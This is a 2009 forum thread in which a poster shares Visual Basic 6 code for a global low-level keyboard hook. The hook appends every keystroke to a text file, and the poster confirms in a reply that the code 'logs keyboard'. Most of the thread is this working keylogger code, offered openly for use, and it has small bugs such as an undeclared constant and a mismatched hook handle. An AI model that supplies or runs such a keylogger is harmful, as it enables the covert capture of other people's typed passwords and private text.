[VB6] hook keyboard

Post new topic   Reply to topic

View previous topic View next topic Go down

[VB6] hook keyboard

Post  ~Fleck on Tue Jun 30, 2009 6:38 am

module :
Code:
Private Type KBHOOKSTRUCT
  vkCode As Long
  scanCode As Long
  flags As Long
  time As Long
  dwExtraInfo As Long
End Type

Public Const WH_KEYBOARD_LL = 13
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub CopyMemoryLong Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Long, ByVal Length As Long)
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Public HookHW As Long

Public Function myfunc(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim kybd As KBHOOKSTRUCT
    myfunc = True
    If code = HC_ACTION And wParam <> 257 Then
        CopyMemory kybd, ByVal lParam, Len(kybd)
        Open App.Path & "\kybd.txt" For Append As #1 ' change the path to any file
              Print #1, Chr(kybd.vkCode)
        Close #1
        myfunc = CallNextHookEx(Hook, code, wParam, lParam)
    ElseIf code < 0 Then
        myfunc = CallNextHookEx(Hook, code, wParam, lParam)
    End If
End Function

form:
Code:

Private Sub Form_Load()
  'SetHook
  HookHW = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf myfunc, App.hInstance, 0)
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
  'Unhook
  Call UnhookWindowsHookEx(HookHW)
End Sub

_________________

Thanks to FusioN for this awesome sig :]

~Fleck
Moderator
Moderator

Posts: 274
Activity: -258
Reputation: 8
Join date: 2009-06-28
Age: 16
Location: 127.0.0.1

Back to top Go down

Re: [VB6] hook keyboard

Post  jkymmel on Tue Jun 30, 2009 7:40 am

does it disable the keyboard

_________________

JKymmelDisain::WebDesign

jkymmel
Admin
Admin

Posts: 76
Activity: -639
Reputation: 3
Join date: 2009-06-27
Age: 14
Location: Estonia

http://jkymmel.tk

Back to top Go down

Re: [VB6] hook keyboard

Post  ~Fleck on Tue Jun 30, 2009 7:42 am

logs keyboard

_________________

Thanks to FusioN for this awesome sig :]

~Fleck
Moderator
Moderator

Posts: 274
Activity: -258
Reputation: 8
Join date: 2009-06-28
Age: 16
Location: 127.0.0.1

Back to top Go down

View previous topic View next topic Back to top


Post new topic   Reply to topic
Permissions of this forum:
You cannot reply to topics in this forum